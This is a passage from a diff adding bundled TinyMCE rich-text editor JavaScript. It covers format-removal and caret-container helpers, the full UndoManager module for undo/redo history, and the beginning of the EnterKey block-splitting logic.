+					}
+
+					stylesModified = 1;
+				});
+
+				// Remove style attribute if it's empty
+				if (stylesModified && dom.getAttrib(node, 'style') === '') {
+					node.removeAttribute('style');
+					node.removeAttribute('data-mce-style');
+				}
+
+				// Remove attributes
+				each(format.attributes, function(value, name) {
+					var valueOut;
+
+					value = replaceVars(value, vars);
+
+					// Indexed array
+					if (typeof(name) === 'number') {
+						name = value;
+						compare_node = 0;
+					}
+
+					if (!compare_node || isEq(dom.getAttrib(compare_node, name), value)) {
+						// Keep internal classes
+						if (name == 'class') {
+							value = dom.getAttrib(node, name);
+							if (value) {
+								// Build new class value where everything is removed except the internal prefixed classes
+								valueOut = '';
+								each(value.split(/\s+/), function(cls) {
+									if (/mce\w+/.test(cls)) {
+										valueOut += (valueOut ? ' ' : '') + cls;
+									}
+								});
+
+								// We got some internal classes left
+								if (valueOut) {
+									dom.setAttrib(node, name, valueOut);
+									return;
+								}
+							}
+						}
+
+						// IE6 has a bug where the attribute doesn't get removed correctly
+						if (name == "class") {
+							node.removeAttribute('className');
+						}
+
+						// Remove mce prefixed attributes
+						if (MCE_ATTR_RE.test(name)) {
+							node.removeAttribute('data-mce-' + name);
+						}
+
+						node.removeAttribute(name);
+					}
+				});
+
+				// Remove classes
+				each(format.classes, function(value) {
+					value = replaceVars(value, vars);
+
+					if (!compare_node || dom.hasClass(compare_node, value)) {
+						dom.removeClass(node, value);
+					}
+				});
+
+				// Check for non internal attributes
+				attrs = dom.getAttribs(node);
+				for (i = 0; i < attrs.length; i++) {
+					if (attrs[i].nodeName.indexOf('_') !== 0) {
+						return FALSE;
+					}
+				}
+			}
+
+			// Remove the inline child if it's empty for example <b> or <span>
+			if (format.remove != 'none') {
+				removeNode(node, format);
+				return TRUE;
+			}
+		}
+
+		/**
+		 * Removes the node and wrap it's children in paragraphs before doing so or
+		 * appends BR elements to the beginning/end of the block element if forcedRootBlocks is disabled.
+		 *
+		 * If the div in the node below gets removed:
+		 *  text<div>text</div>text
+		 *
+		 * Output becomes:
+		 *  text<div><br />text<br /></div>text
+		 *
+		 * So when the div is removed the result is:
+		 *  text<br />text<br />text
+		 *
+		 * @private
+		 * @param {Node} node Node to remove + apply BR/P elements to.
+		 * @param {Object} format Format rule.
+		 * @return {Node} Input node.
+		 */
+		function removeNode(node, format) {
+			var parentNode = node.parentNode, rootBlockElm;
+
+			function find(node, next, inc) {
+				node = getNonWhiteSpaceSibling(node, next, inc);
+
+				return !node || (node.nodeName == 'BR' || isBlock(node));
+			}
+
+			if (format.block) {
+				if (!forcedRootBlock) {
+					// Append BR elements if needed before we remove the block
+					if (isBlock(node) && !isBlock(parentNode)) {
+						if (!find(node, FALSE) && !find(node.firstChild, TRUE, 1)) {
+							node.insertBefore(dom.create('br'), node.firstChild);
+						}
+
+						if (!find(node, TRUE) && !find(node.lastChild, FALSE, 1)) {
+							node.appendChild(dom.create('br'));
+						}
+					}
+				} else {
+					// Wrap the block in a forcedRootBlock if we are at the root of document
+					if (parentNode == dom.getRoot()) {
+						if (!format.list_block || !isEq(node, format.list_block)) {
+							each(grep(node.childNodes), function(node) {
+								if (isValid(forcedRootBlock, node.nodeName.toLowerCase())) {
+									if (!rootBlockElm) {
+										rootBlockElm = wrap(node, forcedRootBlock);
+										dom.setAttribs(rootBlockElm, ed.settings.forced_root_block_attrs);
+									} else {
+										rootBlockElm.appendChild(node);
+									}
+								} else {
+									rootBlockElm = 0;
+								}
+							});
+						}
+					}
+				}
+			}
+
+			// Never remove nodes that isn't the specified inline element if a selector is specified too
+			if (format.selector && format.inline && !isEq(format.inline, node)) {
+				return;
+			}
+
+			dom.remove(node, 1);
+		}
+
+		/**
+		 * Returns the next/previous non whitespace node.
+		 *
+		 * @private
+		 * @param {Node} node Node to start at.
+		 * @param {boolean} next (Optional) Include next or previous node defaults to previous.
+		 * @param {boolean} inc (Optional) Include the current node in checking. Defaults to false.
+		 * @return {Node} Next or previous node or undefined if it wasn't found.
+		 */
+		function getNonWhiteSpaceSibling(node, next, inc) {
+			if (node) {
+				next = next ? 'nextSibling' : 'previousSibling';
+
+				for (node = inc ? node : node[next]; node; node = node[next]) {
+					if (node.nodeType == 1 || !isWhiteSpaceNode(node)) {
+						return node;
+					}
+				}
+			}
+		}
+
+		/**
+		 * Merges the next/previous sibling element if they match.
+		 *
+		 * @private
+		 * @param {Node} prev Previous node to compare/merge.
+		 * @param {Node} next Next node to compare/merge.
+		 * @return {Node} Next node if we didn't merge and prev node if we did.
+		 */
+		function mergeSiblings(prev, next) {
+			var sibling, tmpSibling, elementUtils = new ElementUtils(dom);
+
+			function findElementSibling(node, sibling_name) {
+				for (sibling = node; sibling; sibling = sibling[sibling_name]) {
+					if (sibling.nodeType == 3 && sibling.nodeValue.length !== 0) {
+						return node;
+					}
+
+					if (sibling.nodeType == 1 && !isBookmarkNode(sibling)) {
+						return sibling;
+					}
+				}
+
+				return node;
+			}
+
+			// Check if next/prev exists and that they are elements
+			if (prev && next) {
+				// If previous sibling is empty then jump over it
+				prev = findElementSibling(prev, 'previousSibling');
+				next = findElementSibling(next, 'nextSibling');
+
+				// Compare next and previous nodes
+				if (elementUtils.compare(prev, next)) {
+					// Append nodes between
+					for (sibling = prev.nextSibling; sibling && sibling != next;) {
+						tmpSibling = sibling;
+						sibling = sibling.nextSibling;
+						prev.appendChild(tmpSibling);
+					}
+
+					// Remove next node
+					dom.remove(next);
+
+					// Move children into prev node
+					each(grep(next.childNodes), function(node) {
+						prev.appendChild(node);
+					});
+
+					return prev;
+				}
+			}
+
+			return next;
+		}
+
+		function getContainer(rng, start) {
+			var container, offset, lastIdx;
+
+			container = rng[start ? 'startContainer' : 'endContainer'];
+			offset = rng[start ? 'startOffset' : 'endOffset'];
+
+			if (container.nodeType == 1) {
+				lastIdx = container.childNodes.length - 1;
+
+				if (!start && offset) {
+					offset--;
+				}
+
+				container = container.childNodes[offset > lastIdx ? lastIdx : offset];
+			}
+
+			// If start text node is excluded then walk to the next node
+			if (container.nodeType === 3 && start && offset >= container.nodeValue.length) {
+				container = new TreeWalker(container, ed.getBody()).next() || container;
+			}
+
+			// If end text node is excluded then walk to the previous node
+			if (container.nodeType === 3 && !start && offset === 0) {
+				container = new TreeWalker(container, ed.getBody()).prev() || container;
+			}
+
+			return container;
+		}
+
+		function performCaretAction(type, name, vars, similar) {
+			var caretContainerId = '_mce_caret', debug = ed.settings.caret_debug;
+
+			// Creates a caret container bogus element
+			function createCaretContainer(fill) {
+				var caretContainer = dom.create('span', {id: caretContainerId, 'data-mce-bogus': true, style: debug ? 'color:red' : ''});
+
+				if (fill) {
+					caretContainer.appendChild(ed.getDoc().createTextNode(INVISIBLE_CHAR));
+				}
+
+				return caretContainer;
+			}
+
+			function isCaretContainerEmpty(node, nodes) {
+				while (node) {
+					if ((node.nodeType === 3 && node.nodeValue !== INVISIBLE_CHAR) || node.childNodes.length > 1) {
+						return false;
+					}
+
+					// Collect nodes
+					if (nodes && node.nodeType === 1) {
+						nodes.push(node);
+					}
+
+					node = node.firstChild;
+				}
+
+				return true;
+			}
+
+			// Returns any parent caret container element
+			function getParentCaretContainer(node) {
+				while (node) {
+					if (node.id === caretContainerId) {
+						return node;
+					}
+
+					node = node.parentNode;
+				}
+			}
+
+			// Finds the first text node in the specified node
+			function findFirstTextNode(node) {
+				var walker;
+
+				if (node) {
+					walker = new TreeWalker(node, node);
+
+					for (node = walker.current(); node; node = walker.next()) {
+						if (node.nodeType === 3) {
+							return node;
+						}
+					}
+				}
+			}
+
+			// Removes the caret container for the specified node or all on the current document
+			function removeCaretContainer(node, move_caret) {
+				var child, rng;
+
+				if (!node) {
+					node = getParentCaretContainer(selection.getStart());
+
+					if (!node) {
+						while ((node = dom.get(caretContainerId))) {
+							removeCaretContainer(node, false);
+						}
+					}
+				} else {
+					rng = selection.getRng(true);
+
+					if (isCaretContainerEmpty(node)) {
+						if (move_caret !== false) {
+							rng.setStartBefore(node);
+							rng.setEndBefore(node);
+						}
+
+						dom.remove(node);
+					} else {
+						child = findFirstTextNode(node);
+
+						if (child.nodeValue.charAt(0) === INVISIBLE_CHAR) {
+							child.deleteData(0, 1);
+
+							// Fix for bug #6976
+							if (rng.startContainer == child && rng.startOffset > 0) {
+								rng.setStart(child, rng.startOffset - 1);
+							}
+
+							if (rng.endContainer == child && rng.endOffset > 0) {
+								rng.setEnd(child, rng.endOffset - 1);
+							}
+						}
+
+						dom.remove(node, 1);
+					}
+
+					selection.setRng(rng);
+				}
+			}
+
+			// Applies formatting to the caret postion
+			function applyCaretFormat() {
+				var rng, caretContainer, textNode, offset, bookmark, container, text;
+
+				rng = selection.getRng(true);
+				offset = rng.startOffset;
+				container = rng.startContainer;
+				text = container.nodeValue;
+
+				caretContainer = getParentCaretContainer(selection.getStart());
+				if (caretContainer) {
+					textNode = findFirstTextNode(caretContainer);
+				}
+
+				// Expand to word is caret is in the middle of a text node and the char before/after is a alpha numeric character
+				if (text && offset > 0 && offset < text.length && /\w/.test(text.charAt(offset)) && /\w/.test(text.charAt(offset - 1))) {
+					// Get bookmark of caret position
+					bookmark = selection.getBookmark();
+
+					// Collapse bookmark range (WebKit)
+					rng.collapse(true);
+
+					// Expand the range to the closest word and split it at those points
+					rng = expandRng(rng, get(name));
+					rng = rangeUtils.split(rng);
+
+					// Apply the format to the range
+					apply(name, vars, rng);
+
+					// Move selection back to caret position
+					selection.moveToBookmark(bookmark);
+				} else {
+					if (!caretContainer || textNode.nodeValue !== INVISIBLE_CHAR) {
+						caretContainer = createCaretContainer(true);
+						textNode = caretContainer.firstChild;
+
+						rng.insertNode(caretContainer);
+						offset = 1;
+
+						apply(name, vars, caretContainer);
+					} else {
+						apply(name, vars, caretContainer);
+					}
+
+					// Move selection to text node
+					selection.setCursorLocation(textNode, offset);
+				}
+			}
+
+			function removeCaretFormat() {
+				var rng = selection.getRng(true), container, offset, bookmark,
+					hasContentAfter, node, formatNode, parents = [], i, caretContainer;
+
+				container = rng.startContainer;
+				offset = rng.startOffset;
+				node = container;
+
+				if (container.nodeType == 3) {
+					if (offset != container.nodeValue.length) {
+						hasContentAfter = true;
+					}
+
+					node = node.parentNode;
+				}
+
+				while (node) {
+					if (matchNode(node, name, vars, similar)) {
+						formatNode = node;
+						break;
+					}
+
+					if (node.nextSibling) {
+						hasContentAfter = true;
+					}
+
+					parents.push(node);
+					node = node.parentNode;
+				}
+
+				// Node doesn't have the specified format
+				if (!formatNode) {
+					return;
+				}
+
+				// Is there contents after the caret then remove the format on the element
+				if (hasContentAfter) {
+					// Get bookmark of caret position
+					bookmark = selection.getBookmark();
+
+					// Collapse bookmark range (WebKit)
+					rng.collapse(true);
+
+					// Expand the range to the closest word and split it at those points
+					rng = expandRng(rng, get(name), true);
+					rng = rangeUtils.split(rng);
+
+					// Remove the format from the range
+					remove(name, vars, rng);
+
+					// Move selection back to caret position
+					selection.moveToBookmark(bookmark);
+				} else {
+					caretContainer = createCaretContainer();
+
+					node = caretContainer;
+					for (i = parents.length - 1; i >= 0; i--) {
+						node.appendChild(dom.clone(parents[i], false));
+						node = node.firstChild;
+					}
+
+					// Insert invisible character into inner most format element
+					node.appendChild(dom.doc.createTextNode(INVISIBLE_CHAR));
+					node = node.firstChild;
+
+					var block = dom.getParent(formatNode, isTextBlock);
+
+					if (block && dom.isEmpty(block)) {
+						// Replace formatNode with caretContainer when removing format from empty block like <p><b>|</b></p>
+						formatNode.parentNode.replaceChild(caretContainer, formatNode);
+					} else {
+						// Insert caret container after the formated node
+						dom.insertAfter(caretContainer, formatNode);
+					}
+
+					// Move selection to text node
+					selection.setCursorLocation(node, 1);
+
+					// If the formatNode is empty, we can remove it safely.
+					if (dom.isEmpty(formatNode)) {
+						dom.remove(formatNode);
+					}
+				}
+			}
+
+			// Checks if the parent caret container node isn't empty if that is the case it
+			// will remove the bogus state on all children that isn't empty
+			function unmarkBogusCaretParents() {
+				var caretContainer;
+
+				caretContainer = getParentCaretContainer(selection.getStart());
+				if (caretContainer && !dom.isEmpty(caretContainer)) {
+					walk(caretContainer, function(node) {
+						if (node.nodeType == 1 && node.id !== caretContainerId && !dom.isEmpty(node)) {
+							dom.setAttrib(node, 'data-mce-bogus', null);
+						}
+					}, 'childNodes');
+				}
+			}
+
+			// Only bind the caret events once
+			if (!ed._hasCaretEvents) {
+				// Mark current caret container elements as bogus when getting the contents so we don't end up with empty elements
+				markCaretContainersBogus = function() {
+					var nodes = [], i;
+
+					if (isCaretContainerEmpty(getParentCaretContainer(selection.getStart()), nodes)) {
+						// Mark children
+						i = nodes.length;
+						while (i--) {
+							dom.setAttrib(nodes[i], 'data-mce-bogus', '1');
+						}
+					}
+				};
+
+				disableCaretContainer = function(e) {
+					var keyCode = e.keyCode;
+
+					removeCaretContainer();
+
+					// Remove caret container on keydown and it's a backspace, enter or left/right arrow keys
+					if (keyCode == 8 || keyCode == 37 || keyCode == 39) {
+						removeCaretContainer(getParentCaretContainer(selection.getStart()));
+					}
+
+					unmarkBogusCaretParents();
+				};
+
+				// Remove bogus state if they got filled by contents using editor.selection.setContent
+				ed.on('SetContent', function(e) {
+					if (e.selection) {
+						unmarkBogusCaretParents();
+					}
+				});
+				ed._hasCaretEvents = true;
+			}
+
+			// Do apply or remove caret format
+			if (type == "apply") {
+				applyCaretFormat();
+			} else {
+				removeCaretFormat();
+			}
+		}
+
+		/**
+		 * Moves the start to the first suitable text node.
+		 */
+		function moveStart(rng) {
+			var container = rng.startContainer,
+					offset = rng.startOffset, isAtEndOfText,
+					walker, node, nodes, tmpNode;
+
+			// Convert text node into index if possible
+			if (container.nodeType == 3 && offset >= container.nodeValue.length) {
+				// Get the parent container location and walk from there
+				offset = nodeIndex(container);
+				container = container.parentNode;
+				isAtEndOfText = true;
+			}
+
+			// Move startContainer/startOffset in to a suitable node
+			if (container.nodeType == 1) {
+				nodes = container.childNodes;
+				container = nodes[Math.min(offset, nodes.length - 1)];
+				walker = new TreeWalker(container, dom.getParent(container, dom.isBlock));
+
+				// If offset is at end of the parent node walk to the next one
+				if (offset > nodes.length - 1 || isAtEndOfText) {
+					walker.next();
+				}
+
+				for (node = walker.current(); node; node = walker.next()) {
+					if (node.nodeType == 3 && !isWhiteSpaceNode(node)) {
+						// IE has a "neat" feature where it moves the start node into the closest element
+						// we can avoid this by inserting an element before it and then remove it after we set the selection
+						tmpNode = dom.create('a', {'data-mce-bogus': 'all'}, INVISIBLE_CHAR);
+						node.parentNode.insertBefore(tmpNode, node);
+
+						// Set selection and remove tmpNode
+						rng.setStart(node, 0);
+						selection.setRng(rng);
+						dom.remove(tmpNode);
+
+						return;
+					}
+				}
+			}
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/UndoManager.js
+
+/**
+ * UndoManager.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles the undo/redo history levels for the editor. Since the build in undo/redo has major drawbacks a custom one was needed.
+ *
+ * @class tinymce.UndoManager
+ */
+define("tinymce/UndoManager", [
+	"tinymce/util/VK",
+	"tinymce/Env",
+	"tinymce/util/Tools",
+	"tinymce/html/SaxParser"
+], function(VK, Env, Tools, SaxParser) {
+	var trim = Tools.trim, trimContentRegExp;
+
+	trimContentRegExp = new RegExp([
+		'<span[^>]+data-mce-bogus[^>]+>[\u200B\uFEFF]+<\\/span>', // Trim bogus spans like caret containers
+		'\\s?data-mce-selected="[^"]+"' // Trim temporaty data-mce prefixed attributes like data-mce-selected
+	].join('|'), 'gi');
+
+	return function(editor) {
+		var self = this, index = 0, data = [], beforeBookmark, isFirstTypedCharacter, locks = 0;
+
+		/**
+		 * Returns a trimmed version of the editor contents to be used for the undo level. This
+		 * will remove any data-mce-bogus="all" marked elements since these are used for UI it will also
+		 * remove the data-mce-selected attributes used for selection of objects and caret containers.
+		 * It will keep all data-mce-bogus="1" elements since these can be used to place the caret etc and will
+		 * be removed by the serialization logic when you save.
+		 *
+		 * @private
+		 * @return {String} HTML contents of the editor excluding some internal bogus elements.
+		 */
+		function getContent() {
+			var content = editor.getContent({format: 'raw', no_events: 1});
+			var bogusAllRegExp = /<(\w+) [^>]*data-mce-bogus="all"[^>]*>/g;
+			var endTagIndex, index, matchLength, matches, shortEndedElements, schema = editor.schema;
+
+			content = content.replace(trimContentRegExp, '');
+			shortEndedElements = schema.getShortEndedElements();
+
+			// Remove all bogus elements marked with "all"
+			while ((matches = bogusAllRegExp.exec(content))) {
+				index = bogusAllRegExp.lastIndex;
+				matchLength = matches[0].length;
+
+				if (shortEndedElements[matches[1]]) {
+					endTagIndex = index;
+				} else {
+					endTagIndex = SaxParser.findEndTag(schema, content, index);
+				}
+
+				content = content.substring(0, index - matchLength) + content.substring(endTagIndex);
+				bogusAllRegExp.lastIndex = index - matchLength;
+			}
+
+			return trim(content);
+		}
+
+		function addNonTypingUndoLevel(e) {
+			self.typing = false;
+			self.add({}, e);
+		}
+
+		// Add initial undo level when the editor is initialized
+		editor.on('init', function() {
+			self.add();
+		});
+
+		// Get position before an execCommand is processed
+		editor.on('BeforeExecCommand', function(e) {
+			var cmd = e.command;
+
+			if (cmd != 'Undo' && cmd != 'Redo' && cmd != 'mceRepaint') {
+				self.beforeChange();
+			}
+		});
+
+		// Add undo level after an execCommand call was made
+		editor.on('ExecCommand', function(e) {
+			var cmd = e.command;
+
+			if (cmd != 'Undo' && cmd != 'Redo' && cmd != 'mceRepaint') {
+				addNonTypingUndoLevel(e);
+			}
+		});
+
+		editor.on('ObjectResizeStart', function() {
+			self.beforeChange();
+		});
+
+		editor.on('SaveContent ObjectResized blur', addNonTypingUndoLevel);
+		editor.on('DragEnd', addNonTypingUndoLevel);
+
+		editor.on('KeyUp', function(e) {
+			var keyCode = e.keyCode;
+
+			if ((keyCode >= 33 && keyCode <= 36) || (keyCode >= 37 && keyCode <= 40) || keyCode == 45 || keyCode == 13 || e.ctrlKey) {
+				addNonTypingUndoLevel();
+				editor.nodeChanged();
+			}
+
+			if (keyCode == 46 || keyCode == 8 || (Env.mac && (keyCode == 91 || keyCode == 93))) {
+				editor.nodeChanged();
+			}
+
+			// Fire a TypingUndo event on the first character entered
+			if (isFirstTypedCharacter && self.typing) {
+				// Make the it dirty if the content was changed after typing the first character
+				if (!editor.isDirty()) {
+					editor.isNotDirty = !data[0] || getContent() == data[0].content;
+
+					// Fire initial change event
+					if (!editor.isNotDirty) {
+						editor.fire('change', {level: data[0], lastLevel: null});
+					}
+				}
+
+				editor.fire('TypingUndo');
+				isFirstTypedCharacter = false;
+				editor.nodeChanged();
+			}
+		});
+
+		editor.on('KeyDown', function(e) {
+			var keyCode = e.keyCode;
+
+			// Is caracter positon keys left,right,up,down,home,end,pgdown,pgup,enter
+			if ((keyCode >= 33 && keyCode <= 36) || (keyCode >= 37 && keyCode <= 40) || keyCode == 45) {
+				if (self.typing) {
+					addNonTypingUndoLevel(e);
+				}
+
+				return;
+			}
+
+			// If key isn't shift,ctrl,alt,capslock,metakey
+			var modKey = VK.modifierPressed(e);
+			if ((keyCode < 16 || keyCode > 20) && keyCode != 224 && keyCode != 91 && !self.typing && !modKey) {
+				self.beforeChange();
+				self.typing = true;
+				self.add({}, e);
+				isFirstTypedCharacter = true;
+			}
+		});
+
+		editor.on('MouseDown', function(e) {
+			if (self.typing) {
+				addNonTypingUndoLevel(e);
+			}
+		});
+
+		// Add keyboard shortcuts for undo/redo keys
+		editor.addShortcut('ctrl+z', '', 'Undo');
+		editor.addShortcut('ctrl+y,ctrl+shift+z', '', 'Redo');
+
+		editor.on('AddUndo Undo Redo ClearUndos', function(e) {
+			if (!e.isDefaultPrevented()) {
+				editor.nodeChanged();
+			}
+		});
+
+		self = {
+			// Explose for debugging reasons
+			data: data,
+
+			/**
+			 * State if the user is currently typing or not. This will add a typing operation into one undo
+			 * level instead of one new level for each keystroke.
+			 *
+			 * @field {Boolean} typing
+			 */
+			typing: false,
+
+			/**
+			 * Stores away a bookmark to be used when performing an undo action so that the selection is before
+			 * the change has been made.
+			 *
+			 * @method beforeChange
+			 */
+			beforeChange: function() {
+				if (!locks) {
+					beforeBookmark = editor.selection.getBookmark(2, true);
+				}
+			},
+
+			/**
+			 * Adds a new undo level/snapshot to the undo list.
+			 *
+			 * @method add
+			 * @param {Object} level Optional undo level object to add.
+			 * @param {DOMEvent} Event Optional event responsible for the creation of the undo level.
+			 * @return {Object} Undo level that got added or null it a level wasn't needed.
+			 */
+			add: function(level, event) {
+				var i, settings = editor.settings, lastLevel;
+
+				level = level || {};
+				level.content = getContent();
+
+				if (locks || editor.removed) {
+					return null;
+				}
+
+				lastLevel = data[index];
+				if (editor.fire('BeforeAddUndo', {level: level, lastLevel: lastLevel, originalEvent: event}).isDefaultPrevented()) {
+					return null;
+				}
+
+				// Add undo level if needed
+				if (lastLevel && lastLevel.content == level.content) {
+					return null;
+				}
+
+				// Set before bookmark on previous level
+				if (data[index]) {
+					data[index].beforeBookmark = beforeBookmark;
+				}
+
+				// Time to compress
+				if (settings.custom_undo_redo_levels) {
+					if (data.length > settings.custom_undo_redo_levels) {
+						for (i = 0; i < data.length - 1; i++) {
+							data[i] = data[i + 1];
+						}
+
+						data.length--;
+						index = data.length;
+					}
+				}
+
+				// Get a non intrusive normalized bookmark
+				level.bookmark = editor.selection.getBookmark(2, true);
+
+				// Crop array if needed
+				if (index < data.length - 1) {
+					data.length = index + 1;
+				}
+
+				data.push(level);
+				index = data.length - 1;
+
+				var args = {level: level, lastLevel: lastLevel, originalEvent: event};
+
+				editor.fire('AddUndo', args);
+
+				if (index > 0) {
+					editor.isNotDirty = false;
+					editor.fire('change', args);
+				}
+
+				return level;
+			},
+
+			/**
+			 * Undoes the last action.
+			 *
+			 * @method undo
+			 * @return {Object} Undo level or null if no undo was performed.
+			 */
+			undo: function() {
+				var level;
+
+				if (self.typing) {
+					self.add();
+					self.typing = false;
+				}
+
+				if (index > 0) {
+					level = data[--index];
+
+					// Undo to first index then set dirty state to false
+					if (index === 0) {
+						editor.isNotDirty = true;
+					}
+
+					editor.setContent(level.content, {format: 'raw'});
+					editor.selection.moveToBookmark(level.beforeBookmark);
+
+					editor.fire('undo', {level: level});
+				}
+
+				return level;
+			},
+
+			/**
+			 * Redoes the last action.
+			 *
+			 * @method redo
+			 * @return {Object} Redo level or null if no redo was performed.
+			 */
+			redo: function() {
+				var level;
+
+				if (index < data.length - 1) {
+					level = data[++index];
+
+					editor.setContent(level.content, {format: 'raw'});
+					editor.selection.moveToBookmark(level.bookmark);
+
+					editor.fire('redo', {level: level});
+				}
+
+				return level;
+			},
+
+			/**
+			 * Removes all undo levels.
+			 *
+			 * @method clear
+			 */
+			clear: function() {
+				data = [];
+				index = 0;
+				self.typing = false;
+				editor.fire('ClearUndos');
+			},
+
+			/**
+			 * Returns true/false if the undo manager has any undo levels.
+			 *
+			 * @method hasUndo
+			 * @return {Boolean} true/false if the undo manager has any undo levels.
+			 */
+			hasUndo: function() {
+				// Has undo levels or typing and content isn't the same as the initial level
+				return index > 0 || (self.typing && data[0] && getContent() != data[0].content);
+			},
+
+			/**
+			 * Returns true/false if the undo manager has any redo levels.
+			 *
+			 * @method hasRedo
+			 * @return {Boolean} true/false if the undo manager has any redo levels.
+			 */
+			hasRedo: function() {
+				return index < data.length - 1 && !this.typing;
+			},
+
+			/**
+			 * Executes the specified function in an undo transation. The selection
+			 * before the modification will be stored to the undo stack and if the DOM changes
+			 * it will add a new undo level. Any methods within the transation that adds undo levels will
+			 * be ignored. So a transation can include calls to execCommand or editor.insertContent.
+			 *
+			 * @method transact
+			 * @param {function} callback Function to execute dom manipulation logic in.
+			 */
+			transact: function(callback) {
+				self.beforeChange();
+
+				try {
+					locks++;
+					callback();
+				} finally {
+					locks--;
+				}
+
+				self.add();
+			}
+		};
+
+		return self;
+	};
+});
+
+// Included from: js/tinymce/classes/EnterKey.js
+
+/**
+ * EnterKey.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Contains logic for handling the enter key to split/generate block elements.
+ */
+define("tinymce/EnterKey", [
+	"tinymce/dom/TreeWalker",
+	"tinymce/dom/RangeUtils",
+	"tinymce/Env"
+], function(TreeWalker, RangeUtils, Env) {
+	var isIE = Env.ie && Env.ie < 11;
+
+	return function(editor) {
+		var dom = editor.dom, selection = editor.selection, settings = editor.settings;
+		var undoManager = editor.undoManager, schema = editor.schema, nonEmptyElementsMap = schema.getNonEmptyElements();
+
+		function handleEnterKey(evt) {
+			var rng, tmpRng, editableRoot, container, offset, parentBlock, documentMode, shiftKey,
+				newBlock, fragment, containerBlock, parentBlockName, containerBlockName, newBlockName, isAfterLastNodeInContainer;
+
+			// Returns true if the block can be split into two blocks or not
+			function canSplitBlock(node) {
+				return node &&
+					dom.isBlock(node) &&
+					!/^(TD|TH|CAPTION|FORM)$/.test(node.nodeName) &&
+					!/^(fixed|absolute)/i.test(node.style.position) &&
+					dom.getContentEditable(node) !== "true";
+			}
+
+			// Renders empty block on IE
+			function renderBlockOnIE(block) {
+				var oldRng;
+
+				if (dom.isBlock(block)) {
+					oldRng = selection.getRng();
+					block.appendChild(dom.create('span', null, '\u00a0'));
+					selection.select(block);
+					block.lastChild.outerHTML = '';
+					selection.setRng(oldRng);
+				}
+			}
+
+			// Remove the first empty inline element of the block so this: <p><b><em></em></b>x</p> becomes this: <p>x</p>
+			function trimInlineElementsOnLeftSideOfBlock(block) {
+				var node = block, firstChilds = [], i;
+
+				if (!node) {
+					return;
+				}
+
+				// Find inner most first child ex: <p><i><b>*</b></i></p>
+				while ((node = node.firstChild)) {
+					if (dom.isBlock(node)) {
+						return;
+					}
+
+					if (node.nodeType == 1 && !nonEmptyElementsMap[node.nodeName.toLowerCase()]) {
+						firstChilds.push(node);
+					}
+				}
+
+				i = firstChilds.length;
+				while (i--) {
+					node = firstChilds[i];
+					if (!node.hasChildNodes() || (node.firstChild == node.lastChild && node.firstChild.nodeValue === '')) {
+						dom.remove(node);
+					} else {
+						// Remove <a> </a> see #5381
+						if (node.nodeName == "A" && (node.innerText || node.textContent) === ' ') {
+							dom.remove(node);
+						}
+					}
+				}
+			}
+
+			// Moves the caret to a suitable position within the root for example in the first non
+			// pure whitespace text node or before an image
+			function moveToCaretPosition(root) {
+				var walker, node, rng, lastNode = root, tempElm;
+
+				function firstNonWhiteSpaceNodeSibling(node) {
+					while (node) {
+						if (node.nodeType == 1 || (node.nodeType == 3 && node.data && /[\r\n\s]/.test(node.data))) {
+							return node;
+						}
+
+						node = node.nextSibling;
+					}
+				}
+
+				if (!root) {
+					return;
+				}
+
+				// Old IE versions doesn't properly render blocks with br elements in them
+				// For example <p><br></p> wont be rendered correctly in a contentEditable area
+				// until you remove the br producing <p></p>
+				if (Env.ie && Env.ie < 9 && parentBlock && parentBlock.firstChild) {
+					if (parentBlock.firstChild == parentBlock.lastChild && parentBlock.firstChild.tagName == 'BR') {
+						dom.remove(parentBlock.firstChild);
+					}
+				}
+
+				if (/^(LI|DT|DD)$/.test(root.nodeName)) {
+					var firstChild = firstNonWhiteSpaceNodeSibling(root.firstChild);
+
+					if (firstChild && /^(UL|OL|DL)$/.test(firstChild.nodeName)) {
+						root.insertBefore(dom.doc.createTextNode('\u00a0'), root.firstChild);
+					}
+				}
+
+				rng = dom.createRng();
+
+				// Normalize whitespace to remove empty text nodes. Fix for: #6904
+				// Gecko will be able to place the caret in empty text nodes but it won't render propery
+				// Older IE versions will sometimes crash so for now ignore all IE versions
+				if (!Env.ie) {
+					root.normalize();
+				}
+
+				if (root.hasChildNodes()) {
+					walker = new TreeWalker(root, root);
+
+					while ((node = walker.current())) {
+						if (node.nodeType == 3) {
+							rng.setStart(node, 0);
+							rng.setEnd(node, 0);
+							break;
+						}
+
+						if (nonEmptyElementsMap[node.nodeName.toLowerCase()]) {
+							rng.setStartBefore(node);
+							rng.setEndBefore(node);
+							break;
+						}
+
+						lastNode = node;
+						node = walker.next();
+					}
+
+					if (!node) {
+						rng.setStart(lastNode, 0);
+						rng.setEnd(lastNode, 0);
+					}
+				} else {
+					if (root.nodeName == 'BR') {
+						if (root.nextSibling && dom.isBlock(root.nextSibling)) {
+							// Trick on older IE versions to render the caret before the BR between two lists
+							if (!documentMode || documentMode < 9) {
+								tempElm = dom.create('br');
+								root.parentNode.insertBefore(tempElm, root);
+							}
+
+							rng.setStartBefore(root);
+							rng.setEndBefore(root);
+						} else {
+							rng.setStartAfter(root);
+							rng.setEndAfter(root);
+						}
+					} else {
+						rng.setStart(root, 0);
+						rng.setEnd(root, 0);
+					}
+				}
+
+				selection.setRng(rng);
+
+				// Remove tempElm created for old IE:s
+				dom.remove(tempElm);
+				selection.scrollIntoView(root);
+			}
+
+			function setForcedBlockAttrs(node) {
+				var forcedRootBlockName = settings.forced_root_block;
+
+				if (forcedRootBlockName && forcedRootBlockName.toLowerCase() === node.tagName.toLowerCase()) {
+					dom.setAttribs(node, settings.forced_root_block_attrs);
+				}
+			}
+
+			// Creates a new block element by cloning the current one or creating a new one if the name is specified
+			// This function will also copy any text formatting from the parent block and add it to the new one
+			function createNewBlock(name) {
+				var node = container, block, clonedNode, caretNode, textInlineElements = schema.getTextInlineElements();
+
+				if (name || parentBlockName == "TABLE") {
+					block = dom.create(name || newBlockName);
+					setForcedBlockAttrs(block);
+				} else {
+					block = parentBlock.cloneNode(false);
+				}
+
+				caretNode = block;
+
+				// Clone any parent styles
+				if (settings.keep_styles !== false) {
+					do {
+						if (textInlineElements[node.nodeName]) {
+							// Never clone a caret containers
+							if (node.id == '_mce_caret') {
+								continue;
+							}
